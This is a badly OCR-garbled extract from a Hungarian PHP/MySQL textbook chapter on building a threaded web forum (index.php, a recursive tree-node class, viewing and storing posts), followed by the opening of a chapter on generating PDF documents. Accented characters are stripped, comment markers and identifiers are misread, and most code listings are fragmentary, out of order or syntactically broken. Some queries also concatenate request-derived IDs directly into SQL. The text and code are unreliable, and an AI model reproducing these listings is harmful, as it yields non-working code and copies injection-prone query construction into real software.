Az brn jl lthat, hogy az adarbzisban szerepl minden egyes hozzszls szu lo mezje a fasrruktrban felette ta !lhat hozzszls hozzaszolas ID-jr tartalmazza. A szl hozzszls az, amire az adott hozzszls vlaszol. Ltszik, hogy a gykr csomponrnak, az l hozzaszalasiO-j hozzszlsnak nincsen szlje. Minden tmaindr hozzszls ilyen lesz. Az ilyen rpus hozzszlsoknl O (nulla) szerepel majd az adarbzis szulo mezjben.
lunkon. Az brn az sszes tmaindr hozzszlst lthatjuk. Ezek egyike sem korbbi hozzszlsta adott vlasz, mindegyik
a sajt
522
31.fezet
31.4 bra: A
Mr ezen az oldalon is tbb lehetsg kzl vlaszthatunk. A mensorban lv gombokkal j hozzszlst rhatunk, illetve kibonthatjuk s sszecsukhatjuk a tmk nzett. Hogy megrtsk, pontosan mit jelentenek ezek a lehetsgek, nzzk meg
az
lthatunk. Ez azt jelenti, hogy ezekre a hozzszlsokra mr vlaszoltak.A vlaszok megjelentshez kattintsunk erre a plusz jelre! A 31.5 brn lthat szerkezetet gy kaptuk, hogy az egyik pluselre kattintottunk.
31
31.5 bra: A
A pluselre kattintva teht a tmaindt hozzszlshoz rt vlaszokat jelenthetjk meg. Ha ezt megtesszk, a plusel mnussz vltozik. Ha erre, teht a mnuselre kattintunk, a hozzszlsokat sszecsukjuk, s ismt a kezdeti nzethez jutunk. A 31.5 brn az egyik vlasz mellett is mnuselet figyelhernk meg. Ez azt jelenti, hogy erre a vlaszra is szlettek vlaszok. A vlaszok szintje tetszleges mlysgig elmehet, s az egyes vlaszokat a megfelel pluselekre kattintva tekinthetjk meg. A mensoron lthat.Kibonts" s sszecsuks" gombbal kibonthatjuk, illetve sszecsukhatjuk a hozzszlsok fonalait. " A Kibonts" gombra kattints eredmnyt a 31.6 brn lthatjuk. "
31.6 bra: A
523
Ha kzelebbrl megnzzk a 31.5 s a 31.6 brt, lthatjuk, hogy a parancssorban paramtereket adunk t az index.php fjlnak. A 31.5 brn az albbi URL lthat:
http:lllocalhostlphp_es_mysqll31_fejezetlindex.php?kibont=5#5
A kd a kvetkezkppen olvassa ezt a sor:"bontsd ki az 5-s hozzaszelasiO-j elemet!" A# egyszeren egy HTML horgony, ami az ppen kibontott elemet tartalmaz rszre grgeti le az oldalt. A 31.6 brn gy nz ki
az
URL:
Kibonts s ssz;ecsuks
Hogy lssuk, hogyan jn ltre a hozzszlsok nzete, vizsgljuk meg a 31.2 pldakdban lthat index.php fjl tartalmt! 31.2 pldakd: index. php -A hozzszlsoknak az alkalmazs nyitoldaln lthat nzett elllt kd
<?php session _start() ; include ('beillesztett fuggvenyek.php');
ll ellenrizzk,
31
ll ellenrizzk,
ll a kibont rtke lehet 'mind' vagy adott hozzaszolasiD, if(isset($_GET['kibont'])) if($_GET['kibont'] else
==
'mind')
{
true;
$_SESSION['kibontva' l [$_GET['kibont'lJ
ll ellenorizzk,
ll az osszecsuk rtke lehet 'mind' vagy adott hozzaszolasiD, if(isset($_GET['osszecsuk'])) $_SESSION['kibontva'] else
{ {
if($_GET['osszecsuk'l=='mind')
= array();
unset{$_SESSION['kibontva'] [$_GET['osszecsuk']]);
html fejlec_letrehozasa('Frumtmk'); index eszkozsor_megjelenitese(); ll a tmk fanzetnek megjelenitse fanezet_megjelenitese($ SESSION['kibontva']); html_lablec letrehozasa(); ?>
524
31. fejezet
A kd az albbi hrom vltoz hasznlatval vgzi el feladatt: A kibontva munkamenet-vltozval, ami azt tartja szmon, hogy melyik tmk (mely beszlgetsfonalak) vannak kibontva. A vltoz nzetrl nzetre megrizhet, gy egyszerre tbb beszlgetsfonl is kibontott llapotban lehet. A kibontva vltoz asszociatv tmb, amely azoknak a hozzszlsoknak a hozzaszolas ID-jt tartalmazza, ame lyeknek a vlaszai ki vannak bontva. A kibont paramterrel, amely azt kzli a kddal, hogy melyik beszlgetsfonalakat kell kibontani. Az osszecsuk paramterrel, amely a:;:t tudatja a kddal, hogy melyik fonalakat kell sszecsuknia. Amikor a plusz- vagy mnuselre, illetve a.,Kibonts" s.,sszecsuks" gombra kattintunk, az ezzel kivltott mvelet az
index. php kdot hvja meg gy, hogy j rtkeket trol a kibont s osszecsuk paramterben. A kibontva vltozt
arra hasznljuk, hogy oldalrl oldalra lpkedve nyomon tudjuk kvetni, mely fonalakat kell az adott nzetekben kibontani. Az index. php kd elszr is indt egy munkamenetet, majd - ha ez korbban mg nem trtnt meg- hozzadja mun kamenet-vlto:;:knt a kibontva vltozt. Ezt kveten ellenrzi, hogy kapott-e kibont vagy osszecsuk paramtert, majd ennek megfelelen mdostja a kibontott tmbt. Nzzk most meg a kibont paramter kdjt:
if(isset($_GET['kibont' l))
{ {
mindet_kibont($ SESSION['kibontva'll;
{
true;
$ SESSION['kibontva'l[$_GET['kibont'll
31
tmt berakja a kibontva tmbbe. (Rvidesen megvizsgljuk ezt.) Ha konkrt beszlgetsfonalat kisrink meg kibontani, a kibont paramterben egy hozzaszolasiD-t fogunk kapni. Ekkor a kibontva tmbh:;: ezt tkrzend egy j elemet kell hozzadnunk.
Amindet_kibont() fggvny kdjt a 31.3 pldakdban ltjuk.
31.3 pldakd: A forum_fuggvenyek. php kny vtr mindet_kibont ()fggvnye- Afggvny a $kibontva tmb
l";
A fggvny adatbzis-lekrdezst futtatva llaptja meg, hogy a frum mely hozzszlsai rendelkeznek vlasszal vagy vlas:;:okkal:
SELECT hozzaszolasiD FROM fejlee WHERE gyermek = l
A lekrdezs ltal visszaadott hozzszlsok hozzaddnak a kibontva tmbhz. Azrt futtatjuk ezt a lekrdezst, hogy ksbb idt takartsunk meg. Megrehernnk, hogy egyszeren az sszes hozzs:;:lst hozzadjuk a kibontottak listjhoz, de ksbb feleslegesen pazarolnnk el erforrsokat, amikor megkisrelnnk feldolgozni a nem ltez vlaszokat. A hozszlsok sszecsuksa pontosan fordtva trtnik:
if(isset($_GET['osszecsuk'l)) { if($_GET[ 'osszecsuk'l=='mind') else
$ SESSION['kibontva'l = array();
525
A kibontva tmbbl gy tvolthatjuk el az elemeket, hogy kitrljk. Eltvoltjuk az sszecsukni kvnt beszlgetsfona lakat, vagy- ha az oldal sszes tmjt ssze akarjuk csukni- kitrljk az egsz tmbt. Mindez csak elkszlet volt, hogy tudjuk, melyik hozzszlsokat kell megjelenteni, s melyeket nem. A kd f rsze a fanezet_megjelenitese($_SESSION ['kibontva' l) ; meghvsa, amely a megjelentend hozzszlsok fanzett lltja el.
A hozzszlsok megjelentse
Vizsgljuk meg a 31.4 pldakdban lthat fanezet_megjelenitese () fggvnyt! 31.4 pldakd: A kimeneti_fuggvenyek. php
0)
true;
31
{
false;
$reszlista
'',
'',
'',
l,
true,
-1,
$kibontva,
$reszlista);
ll utastsuk a ft,
$fa->megjelenites($sor,
echo "<ltable>";
A fanezet_megjelenitese () fggvny legfbb feladata a fastruktra legfels csompontjnak ltrehozsa. Has:z: nlatval jelentjk meg a hozzaszolas_megtekintese. ph p oldalon a teljes indexet, s hozzuk ltre a vlaszok rszfit. A fggvny hrom paramtert fogad. Az els, a $kibontva a kibontott nzetben megjelentend hozzszlsok
hozzaszolas ID-jainak a listja. A msodik paramter a $sor, ez a sor sorszmt jelzi, amit arra hasznlunk majd, hogy
vltakoz szn sorokat hozzunk ltre. A $start nev harmadik paramter kzli a fggvnnyel, hogy hol kezdje megjelenteni a hozzszlsokat. Ez a ltrehozan d s megjelentend gykr csompont hozzaszolas ID-ja. Ha- a foldalon lvn- az sszes tmt szeretnnk megjelen teni, akkor rtke O (nulla) lesz, ami azt jelenti, hogy a szl nlkli hozzszlsokat kvnjuk megjelenteni. Ha ez a paramter O, akkor false rtket lltunk be a $reszlista vltoznak, s a teljes ft megjelentjk. Ha a paramter O-nl nagyobb, akkor ezt fogjuk a megjelentend fa gykr csompontjaknt hasznlni, true-ra lltjuk a $reszlista rtkr, majd csak a fa egy rszt jelentjk meg. (Rszlistkat a ho:z::z:aszolas_megtekintese.php kd ban hasznlunk.) A fggvny legfontosabb feladata a csomopont osztly egy, a fa gykert jelkpez pldnynak ltrehozsa. Ez valjban nem igazi hozzszls, de az els szint, szl nlkli hozzszlsok szljeknt viselkedik. A fa ltreho:z:sa utn egyszeren meghvjuk megjelent fggvnyt, hogy tnylegesen megjelentsle a hozzszlsok listjt.
526
31. fejezet
Objektumorien
ll a fanzet minden csompontjnak tagvltozi vannak, ll amelyek a hozzszls szvegn kvl annak minden adatt tartalmazzk
public $m_hozzaszolasiD; public $m_cim; public $m_hozzaszolo; public $m_datum; public $m_gyermek; public $m_gyereklista; public $m_szint;
31
public function
__
ll a konstruktor belltja a tagvltozkat, de ami ennl is fontosabb, ll rekurzv mdon ltrehozza a fa alsbb rszeit
$this->m_hozzaszolasiD = $hozzaszolasiD; $this->m_cim = $eim; $this->m_hozzaszolo = $hozzaszolo; $this->m_datum = $datum; $this->m_gyermek =$gyermek; $this->m_gyereklista = array(); $this->m_szint = $szint;
ll csak akkor foglalkozunk azzal, hogy mi van a csompont alatt, ll ha vannak gyerekei, s ki van jellve kibontsra ll a rszlistk mindig ki vannak bontva
if(($reszlista
l l
$kibont)
&&
$gyermek)
$kapcsolat = adatbazishoz kapcsolodas(); $lekerdezes = "SELECT * FROM fejlee WHERE szulo = '".$hozzaszolasiD."' ORDER BY datum"; $eredmeny = $kapcsolat->query($lekerdezes);
$sor = @$eredmeny->fetch_assoc();
$szamlalo++)
l l
true;
$kibont = false; $this->m_gyereklista[$szamlalol= new csomopont($sor['hozzaszolasiD'l, $sor['cim'l, $sor['hozzaszolo'l,$sor['datum'l, $sor['gyermek'l, $kibont, $szint+l, $kibontva, $reszlista);
527
function megjelenites($sor,
$reszlista = false)
ll mivel objektumrl van sz, ll a $sor vltoz mondja meg, ll gy tudjuk, ll a $reszlista vltoz kzli, ll $reszlista = true kell, ll
oldaln
s nincsenek
hagyjuk ki a megjelentst!
31
$i++)
ll + vagy - vagy trkz megjelenitse if ((!$reszlista) && ($this->m_gyermek) && (sizeof($this->m_gyereklista))) ll a foldalon vagyunk, vannak gyermekek, s ki vannak bontva
ll ki vannak nyitva - knljuk fel az sszecsuksra szolgl gombot! echo "<a href=\"index.php?osszecsuk=". $this->m_hozzaszolasiD."I".$this->m_hozzaszolasiD."\"><img src=\"imagesl minusz.gif\" valign=\"bottom\" height=\"22\" width=\"22\" alt=\"Tma sszecsuksa\" border=\"0\" l ><la>\n"; else if(!$reszlista && $this->m_gyermek)
ll ssze vannak csukva - knljuk fel a kibontsra val gombot! echo "<a href=\"index.php?kibont=". $this->m_hozzaszolas!D."I".$this->m_hozzaszolas!D."\"><img src=\"imageslplusz.gif\" valign=\"bottom\" height=\"22\" width=\"22\" alt=\"Tma kibontsa\" border=\"0\" l><la>\n"; else
{
vagy rszlistban vagyunk, nem kell gomb
ll nincsenek gyermekek,
528
31. fejezet
\" hozzaszolas_megtekintese.php?hozzaszolasiD=". $this->m_hozzaszolasiD."\">". $this->m_cim." - ".$this->m_hozzaszolo." - ". datum_formazasa($this->m_datum) ."<la><ltd><ltr>"; ll sorszmll nvelse a vltakoz szn sorok ellltshoz $sor++; ll megjelenites fggvny meghvsa a csompont sszes gyermekn ll egy csompontnak csak akkor lesznek gyermekei a listban, $szam_gyermek = sizeof($this->m_gyereklista); for($i 0; $i<$szam_gyermek; $i++) { $reszlista); $sor = $this->m_gyereklista[$i]->megjelenites($sor, return $sor; ha ki van bontva
?>
31
Ez az osztly tartalmazza az alkalmazs fanzetet lehetv tev funkciit. A csomopont osztly minden egyes pldnya egyeden hozzszls adatait, illetve az arra a hozzszlsra adott vlaszokra mutat hivatkozsokat tartalmazza. A kvetkez tagvltozkhoz jutunk ezzel:
public $m_hozzaszolasiD; public $m_cim; public $m_hozzaszolo; public $m_datum; public $m_gyermek; public $m_gyereklista; public $m_szint;
Vegyk szre, hogy a csomopont objektum nem tartalmazza a hozzszls szvegt! Azt ugyanis mindaddig nem szk sges betlteni, amg a felhasznl a hozz aszolas _ megtekintese.php kdhoz nem jut. Meg kell prblni viszonylag gyorss tenni ezt a folyamatot, mert a fanzet megjelentshez rengeteg adat kezelsre van szksg, illetve jelents mennyi sg adatot kell jra kiszmtani az oldal frisstsekor vagy valamelyik gombra kattintskor. Ezeknl a vltozknl az objek tumorientlt programozsban gyakran alkalmazott elnevezsi szokst kvettk: a vltoznevek m
_
osztly tagvltozirl van sz. E vltozk tbbsge kzvetlenl az adatbzis fej lec tblja sorainak felel meg. A kt kivtel az $m_gyereklista s az $m_sz int. Az elbbiben troljuk a hozzszlsra adott vlaszokat. Az $m_szint vltoz pedig azt trolja, hogy a fastruktrn bell hny szinttel vagyunk lejjebb; erre az adatra a megjelents ltrehozsakor lesz szksgnk. A konstruktorfggvny az albbi kddal lltja be a vltozk rtkr:
public function construct($hozzaszolasiD, $kibont, $szint, $eim, $hozzaszolo, $datum, $gyermek, $kibontva, $reszlista) de ami ennl is fontosabb,
$hozzaszolo;
Amikor a nyitoldalrl a fanezet_megj elenitese () fggvnnyel ellltjuk a gykr csomopont objektumot, lnye gben egy dummy csompontot hozunk ltre, amelyikhez nincsen hozzszls trstva:
$fa = new csomopont($start, '', l, true, -1, $kibontva, $reszlista);
529
E2: a kdsor egy O (nulla) $hoz:?:aszolasiD-j gykr csompontot hoz ltre. E:?:t arra tudjuk has:?:nlni, hogy megtalljuk az els snt, azaz tmaindt hozszlsokat, mivel ezeknek nulla szlejk van. A szintjt azrt -l-re lltjuk, mert ez a cso mpont tnylegesen nem jelenik meg a nzetben. Az els snt hozszlsok s:?:intrtke 0, s a kperny bal szln jelennek meg. A s:?:intrtk nvekedsvel a hozszlsok jobbra behzva jelennek meg. A legfontosabb dolog, ami a konstruktorban trtnik, hogy ltrejnnek a csompont gyermek csompontjai. A folyamat annak ellenrzsvel indul, hogy ki kell-e bontanunk a gyermek csompontokat. Ezt csak akkor nzzk meg, ha a csompont rendelkezik gyermekekkel, s gy dntttnk, hogy megjelentjk azokat:
if(($reszlista l l $kibont)
&&
$gyermek) {
Ezt kveten kapcsoldunk az adatbhishoz, majd az albbi kddal visszakeressk a gyermek ho:?:szlsokat:
$lekerdezes = "SELECT
*
$eredmeny = $kapcsolat->query($lekerdezes);
Ezt kveten feltltjk az $m_gyereklista tmbt a csomopont osztly azon pldnyaival, amelyek az ebben a csomopont objektumban trolt hozszlsra adott vlaszokat tartalmazzk:
for ($szamlalo=O; if($reszlista else $sor = @$eredmeny->fetch_assoc(); $szamlalo++)
l 1
$kibontva[$sor['hozzaszolasiD']] == true)
$kibont = true;
$kibont = false; $this->m_gyereklista[$szamlalo]= new csomopont($sor['hozzaszolasiD'],$sor['cim'), $sor['hozzaszolo'],$sor['datum'], $sor['gyermek'], $kibont, $szint+l, $kibontva, $reszlista);
31
Ez az utols sor hozza ltre az j csomopont objektumokat; pontosan ugyanazt az eljrst kveti, mint amin az imnt vgigmentnk, m a fa eggyel alacsonyabb szintjn teszi mindezt. E2: a kd rekurzv rsze: egy szl csompont meghvja a csomopont konstruktort, sajt hozzaszolas ID-jt adja t szlknt, s szintrtke tadsa eltt eggyel megnveli azt. Az gy ltrejtt minden csomopont objektum ltrehozza sajt gyermekeit, s ez mindaddig ismtldik, amg el nem fogy nak a kibontani kvnt vlaszok vagy szintek. Miurn mindezzel megvagyunk, meghvjuk a gykr csomopont megjelent fggvnyr(a fanezet_megjelenitese () fggvnyben):
$fa->megjelenites($sor, $reszlista);
A megj elenites () fggvny elszr is ellenrzi, hogy dummy gykr csompontral ll-e szemben:
if($this->m_szint > -1)
Ezzel megoldhat, hogy a dummy csompont megjelentsrl elrekintsnk. Teljes mrrkben azonban nem kvnjuk r ugrani a gykr csomponrot. Megjelenteni ugyan nem szeretnnk, de tudatnia kell a gyermekeivel, hogy azoknak meg kell jelentenik magukat. A megjelenites () fggvny ezutn elkezdi megrajzolni a hozzszlsokat tartalmaz tblzatot. A maradk mveleti jel(%) segtsgvel llaprja meg a sor httrsznr (gy fogunk vltakoz szn sorokat kapni):
ll vltakoz szn sorok belltsa echo "<tr><td bgcolor=\""; if ($sor%2) echo ' '#cccccc\''>''; else echo "lffffff\">";
Ezt kveten az $m_szint tagvltoz rtkt megvizsglva megllaptja, hogy mennyire kell behznia az adott elemet. Ha a korbban ltott brkhoz visszalapozunk, lthatjuk, hogy minl mlyebb szinten van egy vlasz, annl jobban be van hzva. Az albbi kddal programozzuk ezt:
ll a vlaszok szintjknek megfelel mrtk behzsa for($i = 0; $i < $this->m_szint; $i++)
530
31.fgezet
A fggvny kvetkez rs:;:e a:;:t llaptja meg, hogy plus:;:- vagy mnuselet, esetleg csupn trk:;:t jelentsen-e meg:
ll + vagy - vagy trkz megjelenitse f ((!$reszlista) && ($this->m_gyermek) && (sizeof($this->m_gyereklista))) ll a foldalon vagyunk, vannak gyermekek, s ki vannak bontva ll ki vannak nyitva - knljuk fel az sszecsuksra szolgl gombot! echo "<a href=\"index.php?osszecsuk=". $this->m_hozzaszolasiD."#".$this->m_hozzaszolasiD."\"><img src=\"imageslminusz.gif\" valign=\"bottom\" height=\"22\" width=\"22\" alt=\"Tma sszecsuksa\" border=\"0\" l><la>\n"; else if(!$reszlista && $this->m_gyermek) ll ssze vannak csukva - knljuk fel a kibontsra val gombot! echo "<a href=\"index.php?kibont=". $this->m_hozzaszolasiD."#".$this->m_hozzaszolasiD."\"><img src=\"imageslplusz.gif\" valign=\"bottom\" height=\"22\" width=\"22\" alt=\"Tma kibontsa\" border=\"0\" l><la>\n"; else
{
vagy rszlistban vagyunk, nem kell gomb
ll nincsenek gyermekek,
31
A fentieket olyan kd kveti, amit az sszes csomopont objektum, kztk a gykr is vgrehajt:
ll megjelenites fggvny meghvsa a csompont sszes gyermekn ll egy csompontnak csak akkor lesznek gyermekei a listban, $szam_gyermek = sizeof($this->m_gyereklista); for($i 0; $i<$szam_gyermek; $i++) $reszlista); ha ki van bontva
$sor = $this->m_gyereklista[$i]->megjelenites($sor,
return $sor;
Ismt rekurzv fggvnyhvssal llunk szemben, am a csompont minden gyermekn meghvdik, hogy azok megjelentsk magukat. tadjuk nekik az aktulis sor s:;:nt, majd ha mr befejeztk feladatukat, visszakrjk a szninformcit, hogy foly tatni tudjuk a vltakoz szn sorok megjelentst. Ennyi trtnik ebben az os<:tlyban. A kd vis:;:onylag sszetett volt. Ha gy gondoljuk, kisrletez:;:nk tovbb az alkalmazs futtatsval, majd akkor trjnk vissza ehhe<: az rs:;:hez, ha mr jl kiismerjk magunkat frumunk mkdsben!
az egyes hoz:;:szlsokra kattintunk, a hozzaszolas_megtekintese.php kdba jutunk, amelynek tadjuk a megrekinte ni kivnt hoz:;:s:;:ls hozzaszolas I D-jt. A 31.7 brn e kd kimenetre ltunk pldt.
A 31.6 pldakdban kzlt hozzaszolas_ megtekintese. php kd megjelenti a ho:;:zszls tartalmr, illetve a hoz
zszlsra rkezett vlaszokat. A vlaszok ismt fastruktrban jelennek meg, m e:;:ttal teljesen kibontva, brmilyen plusz vagy mnuszgomb nlkl. Ez azrt trtnhet gy, mert a $reszlista gba kerlnk.
531
S_GET['hozzaszolasiD'];
hozzaszolas lekerese($hozzaszolas!D);
html fejlee letrehozasa($hozzaszolas['cim']); ll hozzszls megjelenitse hozzaszolas_megjelenitese($hozzaszolas); ll ha a hozzszlsra rkeztek vlaszok, if($hozzaszolas['gyermek']) echo "<br l><br />"; valaszsorok_megjelenitese(); fanezet_megjelenitese($ SESSION['kibontva'], jelentsk meg fanzetket!
O,
$hozzaszolasiD);
31
\,
<
<l> havn:l.lta t
:::::.zt1o.ot-2<1
,..,.. --- Hogytr1lo:eii\M.znlhiCJO..f1
.Vlasz lnde:t
31.7 bra: A bngszben az adott hozzszls tartalmt lthauk. A kd hrom fontosabb fggvnyt meghvva ltja el feladatt. Ezek: a hozzaszolas_lekerese (),a hozzaszolas_
megjelenitese () s a fanezet_megjelenitese ().A 31.7 pldakdban lthat hozzaszolas_lekerese () fgg
az
adatbzisbL
bl a hozzszlst
function hozzaszolas_lekerese($hozzaszolasiD) ll lekri az adatbzisbl az adott hozzszlst, if(!$hozzaszolasiD) return false; s tmbknt adja vissza
$kapcsolat
adatbazishoz kapcsolodas();
532
31. fejezet
''' .$hozzaszolasiD.''''';
$hozzaszolas = $eredrneny->fetch_assoc();
'".$hozzaszolasiD."'";
if($eredrneny2->num_rows>O)
$tartalom['uzenet'];
return $hozzaszolas;
31
A fggvny a neki radott hozzaszolas I D birtokban kt lekrdezst futtatva visszakeresi a hozzszls fejlct s tartal
mr, sszerakja ezeket egy tmbbe, majd ezt a tmbt adja vissza. Ezt kveten a hozzaszolas_lekerese () fiiggvny eredmnyeit tadjuk a kimeneti_fuggvenyek. php knyvtr
hozzaszolas_megjelen itese () fiiggvnynek. Ez a fiiggvny pusztn annyit tesz, hogy nmi HTML formzst kvet
en megjelenti a tmbt, ezrt itt s most rszletesen nem mutatjuk be mkdst. Vgl a hozzaszolas_megtekintese. ph p kd megnzi, rtak-e mr vlaszokat a hozzszlshoz, majd a fanezet_
megjelenitese() higgvnyt meghvva rszlistaknt-vagyis teljesen kibontva, de plusz- s minuszgombok nlkl-jelenti
j hozzszls rsa
megtekintese.php oldal.Vlasz" gombjt vlasztjk.
egyik mdszer az, ha az indexoldalon az "j hozzszls" gombra kattintanak, a msik pedig az, hogy a hozzaszolas_
Vgre eljutottunk odig. hogyan kell j hozzszlsokat rni a frumhoz. A felhasznlk ktflekppen tehetik meg ezt: az
Ezek a mveletek mind az uj_hozzaszolas. php cm kdot hvjk meg. azonban eltr paramterekkel teszik ezt.
A 31.8 brn a.Vlasz" gombra kattintssal meghvott uj_hozzaszolas. php kd kimenett lthatjuk.
533
az
.j hozzszlsr' kattintunk,
az
URL-ben szulo=O rtket lthatunk. eredeti hozzszls szvegt, s > karakterrel megjelli, ahogy azt
a levelez s hrolvas alkalmazsok tbbsgnl mr megszokhattuk. Harmadsorban szrevehetjk, hogy a hozzszls cme alaprtelmezsben megegyezik az eredeti hozzszlsval, csak kapott egy Re: eltagot. Nzzk meg most az ezt a kimenetet elllt, a 31.8 pldakdban olvashat kdot!
31.8 pldakd: uj_hoz zaszolas . php
<?php include ('beillesztett fuggvenyek.php'); $eim = $_POST['cim']; $hozzaszolo = $_POST['hozzaszolo']; $uzenet = $_POST['uzenet']; if(isset($_GET['szulo'])) $szulo else $_GET['szulo']; $ POST['szulo' J;
$szulo
31
\.
ll Re:
ll ellenrizzk,
$eim = substr($cim,
20);
html fejlee letrehozasa($cim); uj_hozzaszolas_urlap_megjelenitese($szulo, if($hiba) echo "<p>Hozzszlst nem troltuk el.<lp> <p>Krjk, ellenrizze, hogy minden mezt kitlttt-e, majd $terulet, $eim, $uzenet, $hozzaszolo);
5 34
31. fejezet
prblja jra!<lp>";
Az indul belltsok utn az uj_hozzaszolas. php kd ellenrzi, hogy a szl rtke O (nulla) vagy ms. Ha O, akkor j tmt indtunk, s egy kis tovbbi munkra van szksg. Ha vlaszrl van sz (a $szulo egy meglv hozzszls hozzaszalasi D-ja), a kd megy tovbb, s felhasznlja a meg lv zenet cmt s szvegt:
ll hozzszls cmnek lekrse $eim = hozzaszolas_cimenek_lekerese($szulo);
ll Re:
'.$eim;
ll ellenrizzk,
$eim = substr($cim,
O,
20);
31
ll > karakter hozzadsa a megvlaszolni kvnt hozzszls szveghez $uzenet = idezojel hozzadasa(hozzaszolas_tartalmanak_lekerese($szulo));
az
idezojel_hozzadasa () fggvnyt hvja meg. Ezeket a forum_ fuggvenyek.php knyvtrban tallhat fggvnyeker
$kapcsolat->query($lekerdezes);
535
31.10 pldakd: A forum_fuggvenyek.php knyvtr hozzaszolas_tartalmanak_lekerese ()fggvnye- A hoz zszls tartalmt keresi vissza az adatbzisbl
function hozzaszolas_tartalmanak_lekerese($hozzaszolasiD)
'''.$hozzaszolasiD.''''';
$eredmeny = $kapcsolat->query($lekerdezes); if($eredmeny->num_rows>O) return $aktualis sor[O]; $aktualis sor = $eredmeny->fetch array();
31
\.
31.11 pldakd: A forum_fuggvenyek. php knyvtr idezojel_hozzadasa ()fggvnye- A hozzszls szvegnek tagolsa >jelekkel
function idezojel_hozzadasa($string, $minta =
'> ')
$string);
ll
>
return $minta.str_replace("\n",
Az idezojel_hozzadasa () fggvny talakitja a karakterlncot, hogy az eredeti szveg rninden sora adott szimblum
mal kezdelj n. Ez a szimblum alaprtelmezsben a > karakter. Miutn a felhasznl begpelte vlaszt, s az ,.Elkld" gombra kattint, az uj_hozzaszolas_tarolasa.php kdba jut.
A 31.9 brn ennek a kdnak egy lehetsges kimenett lthatjuk.
31.9 bra: Az
Az j hozzszlsRe: MySQL admin - MySQL mgus - 22:15 0912412010 alatt lthat az brn.Ettl eltekim ve az oldal ugyangy nz ki, mint a mr ltott index. php oldal. Nzzk meg most a 31.12 pldakdban lthat uj_ hozzaszolas_tarolasa. php fjl kdjt!
536
31. fejezet
?>
Mint lthat, igen rvid kdrl van sz. Legfbb feladata az uj_hozzaszolas _tarolasa(} fggvny meghvsa, amelynek kdjt a 31.13 pldakdban lthatjuk. Az oldal nmagban nemjelent meg kln tartalmat. Ha a trols sikeres,
az
indexoldal fog megjelenni. Ellenkez esetben az uj_hozzaszolas.ph p oldalra jutunk vissza, hogy a felhasznl jbl
31
ll j hozzszls megtiszttsa,
majd trolsa
$hozzaszolas = mindet_tisztit($hozzaszolas};
//ellenrizzk,
if($hozzaszolas['szulo']
=0}
$lekerdezes = "SELECT hozzaszelasiO FROM fejlee WHERE hozzaszelasiO = '".$hozzaszolas['szulo'] ."'"; $eredmeny = $kapcsolat->query($lekerdezes}; if($eredmeny->num_rows!=l} return false;
ll ellenrizzk,
fejlec.hozzaszolasiD = tartalom.hozzaszolasiD AND fejlec.szulo = ".$hozzaszolas['szulo'] ." AND fejlec.hozzaszolo = '".$hozzaszolas['hozzaszolo'] ."' AND fejlec.cim = '".$hozzaszolas['cim'] ."' AND fejlec.terulet = ".$hozzaszolas['terulet'] ." AND tartalom.uzenet = '".$hozzaszolas['uzenet'] ."'";
537
$lekerdezes
'hozzaszelo' 'datum' ,
'eim' ,
'gyermek'
'hozzaszelasiO' )
"',
31
ll ne feledkezznk meg rla,
hogy a szlnek most mr van gyermeke! $lekerdezes = "UPDATE fejlee SET gyermek = WHERE hozzaszelasiO
=
'".$hozzaszolas['szulo'l."'";
ne feledjk,
hogy tbb
$lekerdezes = "SELECT fejlec.hozzaszolasiD FROM fejlee LEFT JOIN tartalom ON fejlec.hozzaszolasiD = tartalom.hozzaszolasiD WHERE szulo = '".$hozzaszolas['szulo'l ."' AND hozzaszelo = '".html_entity_decode($hozzaszolas['hozzaszolo'll ."' AND eim = '".html entity_decode($hozzaszolas['cim'l)."' AND tartalom.hozzaszolasiD is NULL";
if ($id) $lekerdezes = "INSERT INTO tartalom VALUES ($id, '".$hozzaszolas[ 'uzenet' l."')";
$eredrneny = $kapcsolat->query($lekerdezes);
538
31. fejezet
if
return $id;
Hossz, de nem tlsgosan bonyolult fggvnnyel llunk szemben. Csak azrt ilyen tetjedelmes, mert a hozzszls eit ralsa azt ignyli, hogy sorokat szrjunk be a fej lee s a tartalom tblba, illetve frissrsle a fej lee tblban a szl hozzszls rekordjt, hiszen annak most mr ltezik gyermeke. s ezzel a vgre is rtnk webes frumunk kcljnak.
A projekt tovbbfejlesztse
Sokflekppen gazdagthatjuk egy ilyen webes frum funkciit: Adjuk meg a felhasznlknak a hozzszlsok kztti navigci lehetsgt, hogy adott hozzszlsrl a kvetkez vagy az elz hozzszlsra, illetve az adott beszlgetsfonalon belli elz vagy kvetkez hozzszlsra ugorhassanak! Hozzunk ltre adrninisztrtori felletet, ahol j frumokat lehet belltani, illetve trlni rucljuk a rgi hozzszlsokat!
31
Felhasznli hitelests megvalstsval rjk el, hogy csak regisztrlt felhasznJk rudjanak hozzszlsokat rni! Hozzunk ltre valarnilyen modercis mechanizmust! Tovbbi fejlesztsi tletekrt tanulmnyozzunk mr mkd frumokat!
Hogyan tovbb:
A Perszanalizlt PDF dokumentumok ellltsa cm 32. fejezetben a PDF formrum hasznlatval ksztnk vonz, platform tl fggetlenl egyformn nyomtathat s egyszer mdszerekkel nem hamisthat dokumenrumokat. Ez a lehetsg nagy szalglatot tehet neknk olyan alkalmazsokban, amelyekben pldul szerzdsek online ellltsra lehet szksg.
32
Perszonalizlt PDF dokumentumok ellltsa
Szolgltatsokat knl oldalakon szksg lehet arra, hogy a felhasznlk ltal megadott adatok ignybe vtelvel automatikusan kitlttt rlapokat vagy perszanalizlt dokumenrumokat - pldul szerzdseket, leveleket vagy okleveleket - lltsunk el. A fejezetben olyan alkalmazst fejlesztnk, amellyel a felhasznlk online rtkelhetik rudsukat, majd az eredmnyek alap jn oklevelet ksztnk szmukra. Munknk sorn kiderl: hogyan rudunk a PHP karakterlnc-feldolgoz fggvnyeivel felhasznli adatokat bevinni egy sablonba s Rich Text Forrnat (RTF) dokumenrumot ellltani ebbl,
hogyan lehet hasonl mdszerrel Portable Document Forrnat (PDF) dokumenrumot kszteni, hogyan tudunk a PHP PDF!ib fggvnyeivel hasonl PDF dokumentumot ellltani.
A projekt ttekintse
